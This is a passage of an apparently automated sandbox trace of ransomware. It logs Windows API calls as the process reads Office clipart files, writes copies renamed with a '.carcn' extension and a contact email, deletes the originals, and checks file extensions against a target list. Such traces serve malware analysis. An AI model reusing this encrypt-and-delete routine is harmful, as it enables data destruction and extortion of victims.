office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0263.330] GetLastError () returned 0x0 [0263.330] ReadFile (in: hFile=0x4bc, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0263.364] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0263.365] ReadFile (in: hFile=0x4bc, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.365] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.365] SetEndOfFile (hFile=0x540) returned 1 [0263.366] CloseHandle (hObject=0x540) returned 1 [0263.368] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.368] SetEndOfFile (hFile=0x4bc) returned 1 [0263.371] CloseHandle (hObject=0x4bc) returned 1 [0263.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0263.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.373] lstrlenW (lpString=".doc") returned 4 [0263.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString=".docx") returned 5 [0263.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.373] lstrlenW (lpString=".pdf") returned 4 [0263.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString=".xls") returned 4 [0263.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.373] lstrlenW (lpString=".xlsx") returned 5 [0263.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.373] lstrlenW (lpString=".ppt") returned 4 [0263.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.373] lstrlenW (lpString=".zip") returned 4 [0263.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.373] lstrlenW (lpString=".rar") returned 4 [0263.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString=".bz2") returned 4 [0263.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString=".7z") returned 3 [0263.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.373] lstrlenW (lpString=".dbf") returned 4 [0263.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.373] lstrlenW (lpString=".1cd") returned 4 [0263.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.374] lstrlenW (lpString=".jpg") returned 4 [0263.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.374] lstrlenW (lpString=".doc") returned 4 [0263.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString=".docx") returned 5 [0263.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.374] lstrlenW (lpString=".pdf") returned 4 [0263.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString=".xls") returned 4 [0263.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.374] lstrlenW (lpString=".xlsx") returned 5 [0263.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.374] lstrlenW (lpString=".ppt") returned 4 [0263.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.374] lstrlenW (lpString=".zip") returned 4 [0263.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.374] lstrlenW (lpString=".rar") returned 4 [0263.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString=".bz2") returned 4 [0263.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.374] lstrlenW (lpString=".7z") returned 3 [0263.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.375] lstrlenW (lpString=".dbf") returned 4 [0263.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.375] lstrlenW (lpString=".1cd") returned 4 [0263.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0263.375] lstrlenW (lpString=".jpg") returned 4 [0263.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.375] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.375] lstrlenW (lpString="BD00146_.WMF") returned 12 [0263.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.376] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=28948) returned 1 [0263.376] CloseHandle (hObject=0x4bc) returned 1 [0263.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0263.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.377] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.377] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0263.771] GetLastError () returned 0x0 [0263.771] ReadFile (in: hFile=0x4bc, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x7114, lpOverlapped=0x0) returned 1 [0263.802] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7120, lpOverlapped=0x0) returned 1 [0263.809] ReadFile (in: hFile=0x4bc, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.809] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.809] SetEndOfFile (hFile=0x53c) returned 1 [0263.809] CloseHandle (hObject=0x53c) returned 1 [0263.831] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.831] SetEndOfFile (hFile=0x4bc) returned 1 [0263.898] CloseHandle (hObject=0x4bc) returned 1 [0263.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0264.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.867] lstrlenW (lpString=".doc") returned 4 [0264.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.867] lstrlenW (lpString=".docx") returned 5 [0264.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.867] lstrlenW (lpString=".pdf") returned 4 [0264.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.867] lstrlenW (lpString=".xls") returned 4 [0264.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.867] lstrlenW (lpString=".xlsx") returned 5 [0264.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.867] lstrlenW (lpString=".ppt") returned 4 [0264.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.867] lstrlenW (lpString=".zip") returned 4 [0264.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.867] lstrlenW (lpString=".rar") returned 4 [0264.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.867] lstrlenW (lpString=".bz2") returned 4 [0264.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.867] lstrlenW (lpString=".7z") returned 3 [0264.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.867] lstrlenW (lpString=".dbf") returned 4 [0264.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.868] lstrlenW (lpString=".1cd") returned 4 [0264.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.868] lstrlenW (lpString=".jpg") returned 4 [0264.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.868] lstrlenW (lpString=".doc") returned 4 [0264.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString=".docx") returned 5 [0264.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.868] lstrlenW (lpString=".pdf") returned 4 [0264.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString=".xls") returned 4 [0264.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.868] lstrlenW (lpString=".xlsx") returned 5 [0264.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.868] lstrlenW (lpString=".ppt") returned 4 [0264.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.868] lstrlenW (lpString=".zip") returned 4 [0264.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.868] lstrlenW (lpString=".rar") returned 4 [0264.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString=".bz2") returned 4 [0264.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.868] lstrlenW (lpString=".7z") returned 3 [0264.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.869] lstrlenW (lpString=".dbf") returned 4 [0264.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.869] lstrlenW (lpString=".1cd") returned 4 [0264.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0264.869] lstrlenW (lpString=".jpg") returned 4 [0264.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.869] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0264.869] lstrlenW (lpString="BD09664_.WMF") returned 12 [0264.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.869] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7966) returned 1 [0264.870] CloseHandle (hObject=0x538) returned 1 [0264.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0264.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.870] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.870] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0264.872] GetLastError () returned 0x0 [0264.872] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0265.008] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0265.009] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.009] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.009] SetEndOfFile (hFile=0x530) returned 1 [0265.028] CloseHandle (hObject=0x530) returned 1 [0265.037] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.037] SetEndOfFile (hFile=0x538) returned 1 [0265.045] CloseHandle (hObject=0x538) returned 1 [0265.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0265.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.051] lstrlenW (lpString=".doc") returned 4 [0265.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString=".docx") returned 5 [0265.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.051] lstrlenW (lpString=".pdf") returned 4 [0265.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString=".xls") returned 4 [0265.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.051] lstrlenW (lpString=".xlsx") returned 5 [0265.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.051] lstrlenW (lpString=".ppt") returned 4 [0265.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.051] lstrlenW (lpString=".zip") returned 4 [0265.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.051] lstrlenW (lpString=".rar") returned 4 [0265.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString=".bz2") returned 4 [0265.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString=".7z") returned 3 [0265.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.051] lstrlenW (lpString=".dbf") returned 4 [0265.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.052] lstrlenW (lpString=".1cd") returned 4 [0265.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.052] lstrlenW (lpString=".jpg") returned 4 [0265.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.052] lstrlenW (lpString=".doc") returned 4 [0265.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString=".docx") returned 5 [0265.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.052] lstrlenW (lpString=".pdf") returned 4 [0265.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString=".xls") returned 4 [0265.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.052] lstrlenW (lpString=".xlsx") returned 5 [0265.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.052] lstrlenW (lpString=".ppt") returned 4 [0265.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.052] lstrlenW (lpString=".zip") returned 4 [0265.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.052] lstrlenW (lpString=".rar") returned 4 [0265.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString=".bz2") returned 4 [0265.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".7z") returned 3 [0265.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.053] lstrlenW (lpString=".dbf") returned 4 [0265.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.053] lstrlenW (lpString=".1cd") returned 4 [0265.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0265.053] lstrlenW (lpString=".jpg") returned 4 [0265.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.053] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0265.053] lstrlenW (lpString="BD19563_.GIF") returned 12 [0265.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.054] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=20454) returned 1 [0265.054] CloseHandle (hObject=0x538) returned 1 [0265.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0265.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.055] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.055] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.055] GetLastError () returned 0x0 [0265.055] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, 